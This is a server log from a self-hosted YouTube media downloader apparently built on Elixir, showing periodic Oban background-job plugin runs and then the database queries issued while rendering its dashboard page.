[info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.840 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:05.553 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:35.556 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.841 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:05.559 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:35.562 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.843 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:05.565 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:35.567 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.844 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:05.570 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:35.573 [info] {"source":"oban","duration":1951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.845 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:05.576 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:35.579 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.845 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:05.582 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:35.585 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.847 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:05.587 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:35.589 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.849 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:05.592 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:35.595 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.851 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:05.598 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:35.600 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.852 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:05.603 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:35.606 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.852 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:05.608 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:35.611 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.854 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:05.614 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:35.617 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.855 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:05.620 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:35.623 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.857 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:05.626 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:35.629 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.858 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:05.632 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:35.635 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.859 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:05.638 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:35.639 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.861 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:05.642 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:35.645 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.862 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:05.647 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:35.649 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.863 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:05.652 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:35.653 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.865 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:05.655 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:35.657 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.866 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:05.659 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:35.661 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.867 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:05.663 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:35.666 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.869 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:05.669 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:35.672 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.871 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:05.675 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:35.678 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.873 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:05.681 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:35.684 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.874 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:05.687 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:35.687 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.875 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:05.688 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:35.689 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.877 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:05.691 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:35.692 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.878 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:05.692 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:35.694 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.879 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:05.694 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:35.696 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.880 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:05.696 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:35.697 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.882 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:05.699 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:35.700 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.883 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:05.701 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:35.702 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.885 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:05.702 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:35.704 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.886 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:05.704 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:35.706 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.888 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:05.707 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:35.709 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.889 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:05.711 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:35.712 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.891 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:05.713 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:35.714 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.891 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:05.715 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:35.715 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.893 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:05.717 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:12.645 [info] GET / 04:51:12.646 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:51:12.647 [debug] QUERY OK source="settings" db=0.3ms idle=1112.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.648 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1112.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:51:12.648 [info] GET / 04:51:12.648 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=1113.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:51:12.649 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:51:12.650 [debug] QUERY OK source="settings" db=0.7ms idle=130.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.650 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:51:12.650 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:51:12.653 [debug] QUERY OK source="media_items" db=3.4ms queue=0.2ms idle=1114.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:12.653 [debug] QUERY OK source="media_items" db=2.7ms idle=1.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:12.654 [debug] QUERY OK source="media_items" db=0.8ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:12.654 [debug] QUERY OK source="media_items" db=1.0ms queue=0.5ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:12.655 [debug] QUERY OK source="settings" db=0.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.655 [debug] QUERY OK source="settings" db=0.3ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.655 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.655 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.656 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.656 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:12.657 [debug] QUERY OK source="tasks" db=0.6ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:51:12.657 [debug] QUERY OK source="tasks" db=0.6ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:51:12.658 [debug] QUERY OK source="media_items" db=0.5ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:12.658 [debug] QUERY OK source="media_items" db=0.9ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:12.659 [debug] QUERY OK source="media_items" db=1.0ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:12.659 [debug] QUERY OK source="media_items" db=0.9ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:12.660 [debug] QUERY OK source="sources" db=0.4ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:51:12.661 [debug] QUERY OK source="sources" db=1.2ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:51:12.665 [debug] QUERY OK source="media_items" db=3.2ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:51:12.666 [debug] QUERY OK source="media_items" db=3.8ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:51:12.667 [debug] QUERY OK source="media_items" db=2.6ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:12.668 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:51:12.668 [debug] 